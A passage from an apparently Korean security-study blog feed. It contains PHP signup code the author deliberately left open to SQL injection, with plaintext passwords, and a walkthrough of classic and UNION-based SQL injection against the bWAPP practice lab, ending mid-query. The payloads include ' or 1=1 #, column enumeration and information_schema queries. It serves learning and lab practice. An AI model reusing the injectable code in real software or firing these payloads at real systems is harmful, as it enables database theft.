include 'lib.php';
?&amp;gt;
&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
	&amp;lt;head&amp;gt;
		&amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
	&amp;lt;title&amp;gt;회원가입&amp;lt;/title&amp;gt;
	&amp;lt;/head&amp;gt;
	&amp;lt;body&amp;gt;
		&amp;lt;h1&amp;gt;회원가입&amp;lt;/h1&amp;gt;
		&amp;lt;form method=&quot;post&quot; action=&quot; &quot;&amp;gt;
			&amp;lt;p&amp;gt;닉네임: &amp;lt;input type=&quot;text&quot; name=&quot;name&quot; placeholder=&quot;닉네임을 입력하세요&quot;&amp;gt;&amp;lt;/p&amp;gt;
			&amp;lt;p&amp;gt;아이디: &amp;lt;input type=&quot;text&quot; name=&quot;id&quot; placeholder=&quot;아이디를 입력하세요&quot;&amp;gt;&amp;lt;/p&amp;gt;
			&amp;lt;p&amp;gt;비밀번호: &amp;lt;input type=&quot;password&quot; name=&quot;pw&quot; placeholder=&quot;비밀번호를 입력하세요&quot;&amp;gt;&amp;lt;/p&amp;gt;
			&amp;lt;p&amp;gt;비밀번호 확인: &amp;lt;input type=&quot;password&quot; name=&quot;pw2&quot; placeholder=&quot;비밀번호를 재입력하세요&quot;&amp;gt;&amp;lt;/p&amp;gt;
			&amp;lt;p&amp;gt;&amp;lt;font color=&quot;red&quot;&amp;gt;비밀번호는 4자리 이상 설정해주세요&amp;lt;/font&amp;gt;&amp;lt;/p&amp;gt;
			&amp;lt;p&amp;gt;&amp;lt;input type=&quot;submit&quot; value=&quot;회원가입&quot;&amp;gt;
			&amp;lt;button type=&quot;button&quot; onclick=&quot;location.href='login.php'&quot;&amp;gt;로그인&amp;lt;/button&amp;gt;&amp;lt;/p&amp;gt;
		
		&amp;lt;?php
			if ($_SERVER[&quot;REQUEST_METHOD&quot;] == &quot;POST&quot;) {
				$id = $_POST['id'];
				$pw = $_POST['pw'];
				$name = $_POST['name'];
				$pw2 = $_POST['pw2'];
				$check = &quot;SELECT * FROM user WHERE id = '$id'&quot;;
				$idresult = mysqli_query($conn, $check);
				$namecheck = &quot;SELECT * FROM user WHERE name = '$name'&quot;;
				$nameresult = mysqli_query($conn, $namecheck);
				
			if (empty($id) || empty($pw) || empty($pw2) || empty($name)) {
				echo &quot;&amp;lt;script&amp;gt;alert('입력되지 않은 칸이 있습니다'); history.back();&amp;lt;/script&amp;gt;&quot;;
				exit;
			}
			
			elseif (mysqli_num_rows($nameresult) &amp;gt; 0) {
				echo &quot;&amp;lt;script&amp;gt; alert('이미 존재하는 닉네임입니다'); history.back();&amp;lt;/script&amp;gt;&quot;;
			}
			
			elseif (mysqli_num_rows($idresult) &amp;gt; 0) {
				echo &quot;&amp;lt;script&amp;gt; alert('이미 존재하는 아이디입니다'); history.back();&amp;lt;/script&amp;gt;&quot;;
			}
			
			elseif ( strlen($pw) &amp;lt; 4 ) {
				echo &quot;&amp;lt;script&amp;gt; alert('비밀번호를 4자리 이상 설정해주세요'); history.back();&amp;lt;/script&amp;gt;&quot;;
			}
			
			elseif ($pw !== $pw2) {
				echo &quot;&amp;lt;script&amp;gt;alert('비밀번호가 일치하지 않습니다'); history.back();&amp;lt;/script&amp;gt;&quot;;
				exit;
			}
			
			else {
			$register = &quot;INSERT INTO user (ID, name, pass) VALUES ('$id', '$name', '$pw')&quot;;
			$result = mysqli_query($conn, $register);
			
			echo &quot;&amp;lt;script&amp;gt;alert('회원가입이 완료되었습니다!'); location.href='login.php';&amp;lt;/script&amp;gt;&quot;;
			
			}
			}
		?&amp;gt;
		&amp;lt;/form&amp;gt;
	&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTML 화면에서 입력되지 않은 칸이 있는지랑 비밀번호 길이도 검증하고 DB로 보내버리기!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모의해킹 공부를 위한 게시판이라서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;애초에 sqli 대비는 하지않은,, 보안에 매우매우 취약한 회원가입 창 되겠습니다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>모의해킹</category>
      <author>songtoy</author>
      <guid isPermaLink="true">https://songtoy.tistory.com/7</guid>
      <comments>https://songtoy.tistory.com/7#entry7comment</comments>
      <pubDate>Mon, 16 Feb 2026 15:22:28 +0900</pubDate>
    </item>
    <item>
      <title>SQL Injection (Get/Search)</title>
      <link>https://songtoy.tistory.com/6</link>
      <description>&lt;h4 data-ke-size=&quot;size20&quot;&gt;SQLI란?&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자가 입력필드에 특수 SQL문을 삽입하여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DB에서 데이터를 검색하거나 중요한 데이터를 파괴하는 등의 명령을 실행할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(DB정보 탈취 및 인증 우회 등)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;SQLI는 어떻게 해야할까?&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SQLI에는 여러가지 종류가 있지만 본질적인 핵심 취약점은&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SQL 쿼리에 예기치 않은 정보가 전달된다는 것이다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어, 일반 SQL 쿼리에서 studentId와 일치하는 학생을 학생 목록에서 찾고싶을 때&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;751&quot; data-origin-height=&quot;73&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lMaAt/btsOYal5WS7/1Kbn4GnEJTIvRwf2dy5mm0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lMaAt/btsOYal5WS7/1Kbn4GnEJTIvRwf2dy5mm0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lMaAt/btsOYal5WS7/1Kbn4GnEJTIvRwf2dy5mm0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlMaAt%2FbtsOYal5WS7%2F1Kbn4GnEJTIvRwf2dy5mm0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;751&quot; height=&quot;73&quot; data-origin-width=&quot;751&quot; data-origin-height=&quot;73&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SELECT * FROM students WHERE studentId = 117;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;를 넣으면 studentId가 117인 학생을 반환하게 된다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 입력창에 117 대신 117 or 1=1을 넣으면 어떻게될까?!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SELECT * FROM students WHERE studentId = 117 or 1=1;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;은 모든 학생에 대해 항상 참이므로, 학생테이블의 모든 데이터를 반환하게 된다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(Classic SQL Injection)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;' (작은따옴표)를 통해서 에러를 확인하는 방법도 있다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt; &lt;b&gt;실습&lt;/b&gt;&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. Classic SQLI&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1330&quot; data-origin-height=&quot;1142&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/QmlIb/btsOZhYPkC5/ePHW425oh9ITjvG5F8Qo50/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/QmlIb/btsOZhYPkC5/ePHW425oh9ITjvG5F8Qo50/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QmlIb/btsOZhYPkC5/ePHW425oh9ITjvG5F8Qo50/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQmlIb%2FbtsOZhYPkC5%2FePHW425oh9ITjvG5F8Qo50%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1330&quot; height=&quot;1142&quot; data-origin-width=&quot;1330&quot; data-origin-height=&quot;1142&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;맨 처음 들어가자마자 보이는 화면,,&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1348&quot; data-origin-height=&quot;1356&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/by3oPS/btsOWHLI4Md/c7Y0XHCpa7KeyAPVnVCdI1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/by3oPS/btsOWHLI4Md/c7Y0XHCpa7KeyAPVnVCdI1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/by3oPS/btsOWHLI4Md/c7Y0XHCpa7KeyAPVnVCdI1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fby3oPS%2FbtsOWHLI4Md%2Fc7Y0XHCpa7KeyAPVnVCdI1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1348&quot; height=&quot;1356&quot; data-origin-width=&quot;1348&quot; data-origin-height=&quot;1356&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;암거나 검색해보자 하고 a를 쳐봤더니 url에 ?title=a&amp;amp;action=search 라고 뜬다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;title이라는 변수명을 알아냈다(?)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1130&quot; data-origin-height=&quot;456&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/byy5sa/btsOYd4qzhi/hJ6UHlwCo7lZ90J4TKk8J0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/byy5sa/btsOYd4qzhi/hJ6UHlwCo7lZ90J4TKk8J0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/byy5sa/btsOYd4qzhi/hJ6UHlwCo7lZ90J4TKk8J0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbyy5sa%2FbtsOYd4qzhi%2FhJ6UHlwCo7lZ90J4TKk8J0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1130&quot; height=&quot;456&quot; data-origin-width=&quot;1130&quot; data-origin-height=&quot;456&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;' (작은따옴표)를 입력하니까 오류가 난다!!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(&quot; 큰따옴표는 에러안남. 즉 해당 sql문은 작은따옴표로 쓰여져있다는 걸 알 수 있음)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리구 해당 에러를 보면 MySQL을 쓴다는 것도 알 수 있다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MySQL은 # 뒤를 다 주석처리 한다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;고래서 &lt;b&gt;a' or 1=1 #&lt;/b&gt; 을 써봤더니&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1206&quot; data-origin-height=&quot;1384&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dqpdV0/btsOYdb45dc/ErMkhZ6myckSx1f7M7mf6K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dqpdV0/btsOYdb45dc/ErMkhZ6myckSx1f7M7mf6K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dqpdV0/btsOYdb45dc/ErMkhZ6myckSx1f7M7mf6K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdqpdV0%2FbtsOYdb45dc%2FErMkhZ6myckSx1f7M7mf6K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1206&quot; height=&quot;1384&quot; data-origin-width=&quot;1206&quot; data-origin-height=&quot;1384&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전체 영화 목록이 조회되는 것을 볼 수 있다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2. UNION-Based SQLI&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SQL에서 Union은 두개의 쿼리문에 대한 결과를 하나의 테이블로 합쳐주는 역할을 한다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Union은 첫 쿼리문 select문과 두번째 쿼리문 union select문의 컬럼 수가 같아야하는 특징이 있다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 컬럼수가 일치하지 않으면 오류를 출력해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(원래는 데이터형도 일치해야하는데 mysql은 자동 형변환 해준다고함)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러므로 Union select의 컬럼수를 반복적으로 증가시켜주면 컬럼의 수를 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1109&quot; data-origin-height=&quot;346&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ckgdOw/btsOZChnwlC/ioqnN3x012rqktN5esLgMk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ckgdOw/btsOZChnwlC/ioqnN3x012rqktN5esLgMk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ckgdOw/btsOZChnwlC/ioqnN3x012rqktN5esLgMk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FckgdOw%2FbtsOZChnwlC%2FioqnN3x012rqktN5esLgMk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1109&quot; height=&quot;346&quot; data-origin-width=&quot;1109&quot; data-origin-height=&quot;346&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot; ' UNION SELECT 1,2,3,4,5 #&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/b&gt;를 써봤더니 컬럼수가 다르다고 오류가 뜬다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;계속 하나씩 늘려서&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1125&quot; data-origin-height=&quot;351&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/owE7s/btsOZvvYyF6/LEkSBfBIdWt8ezlnlqeOd1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/owE7s/btsOZvvYyF6/LEkSBfBIdWt8ezlnlqeOd1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/owE7s/btsOZvvYyF6/LEkSBfBIdWt8ezlnlqeOd1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FowE7s%2FbtsOZvvYyF6%2FLEkSBfBIdWt8ezlnlqeOd1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1125&quot; height=&quot;351&quot; data-origin-width=&quot;1125&quot; data-origin-height=&quot;351&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot; ' UNION SELECT 1,2,3,4,5,6,7 # 를 썼더니 숫자가 출력된다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;= 2,3,4,5번째 컬럼을 조회할 수 있다는 뜻!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 이제 이걸로 뭘 알아낼 수 있을까?!!!!!!!!!!!!!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;① DB서버의 버전 : @@version&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;② DB서버가 존재하는 디렉터리 : @@datadir&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;③ 테이블명 : table_name&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;④ 데이터베이스 이름 : database()&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;⑤ 사용자 아이디 : user()&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;⑥ 관리자 권한 사용자 아이디 : system_user()&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;⑦ 컬럼명 : column_name&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;⑧ 문자열을 합쳐서 출력 : concat()&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;등등...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구래서&lt;b&gt; &quot; ' UNION SELECT 1,@@version,@@datadir,database(),table_name,6,7 #&lt;/b&gt; 를 해봤어여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데!&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1063&quot; data-origin-height=&quot;355&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dfBtDl/btsOYvjhySn/tv8tYIkHY8NLPpu792WwTK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dfBtDl/btsOYvjhySn/tv8tYIkHY8NLPpu792WwTK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dfBtDl/btsOYvjhySn/tv8tYIkHY8NLPpu792WwTK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdfBtDl%2FbtsOYvjhySn%2Ftv8tYIkHY8NLPpu792WwTK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1063&quot; height=&quot;355&quot; data-origin-width=&quot;1063&quot; data-origin-height=&quot;355&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;띠로리&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 ㅇㅣ거 빼고 일단 해봐야지!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;&amp;nbsp;'&amp;nbsp;UNION&amp;nbsp;SELECT&amp;nbsp;1,@@version,@@datadir,database(),5,6,7&amp;nbsp;#&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1108&quot; data-origin-height=&quot;385&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/catjDQ/btsOXeWPLeq/ItF6K6QkxKYWKDYtga5xQK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/catjDQ/btsOXeWPLeq/ItF6K6QkxKYWKDYtga5xQK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/catjDQ/btsOXeWPLeq/ItF6K6QkxKYWKDYtga5xQK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcatjDQ%2FbtsOXeWPLeq%2FItF6K6QkxKYWKDYtga5xQK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1108&quot; height=&quot;385&quot; data-origin-width=&quot;1108&quot; data-origin-height=&quot;385&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;잘 나옵니다요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 table_name은 왜 안나올까&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1136&quot; data-origin-height=&quot;1366&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/USllH/btsOY4yGuAz/WwYvQTMDoHMZekUAhRmtKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/USllH/btsOY4yGuAz/WwYvQTMDoHMZekUAhRmtKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/USllH/btsOY4yGuAz/WwYvQTMDoHMZekUAhRmtKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUSllH%2FbtsOY4yGuAz%2FWwYvQTMDoHMZekUAhRmtKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1136&quot; height=&quot;1366&quot; data-origin-width=&quot;1136&quot; data-origin-height=&quot;1366&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;&amp;nbsp;'&amp;nbsp;UNION&amp;nbsp;SELECT&amp;nbsp;1,2,3,table_name,5,6,7&amp;nbsp;&lt;u&gt;FROM&amp;nbsp;information_schema.tables&lt;/u&gt;&amp;nbsp;#&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로 하면 엄청 많이 나온다~~&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; table_name이 출력되지 않았던 이유 : 같은 테이블에서 여러줄을 뽑아야하기 때문!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어디서부터 가져올지 테이블 명시가 필요함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; @@version이나 @@datadir은 된 이유 : 하나의 값만 주는 함수라 테이블 없어도됨&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;암튼 여기서&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1119&quot; data-origin-height=&quot;645&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/beA5eo/btsO2kiMaaK/UrDoYgLfxuHhqKTzBnC6P0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/beA5eo/btsO2kiMaaK/UrDoYgLfxuHhqKTzBnC6P0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/beA5eo/btsO2kiMaaK/UrDoYgLfxuHhqKTzBnC6P0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbeA5eo%2FbtsO2kiMaaK%2FUrDoYgLfxuHhqKTzBnC6P0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1119&quot; height=&quot;645&quot; data-origin-width=&quot;1119&quot; data-origin-height=&quot;645&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;user, host라는 테이블이 있다는걸 알아냈당 ㅋ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서&lt;b&gt; ' UNION SELECT 1,2,3,column_name,5,6,7 FROM user #&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;했더니 &lt;span style=&quot;background-color: #fafafa; color: #666666; text-align: justify;&quot;&gt;Error: Table 'bWAPP.user' doesn't exist&lt;span style=&quot;color: #333333;&quot;&gt; 라고 나옴 ㅠ&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #fafafa; color: #666666; text-align: justify;&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그래서 &lt;b&gt;' UNION SELECT 1,2,3,column_name,5,6,7 FROM information_schema.tables&amp;nbsp;#&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
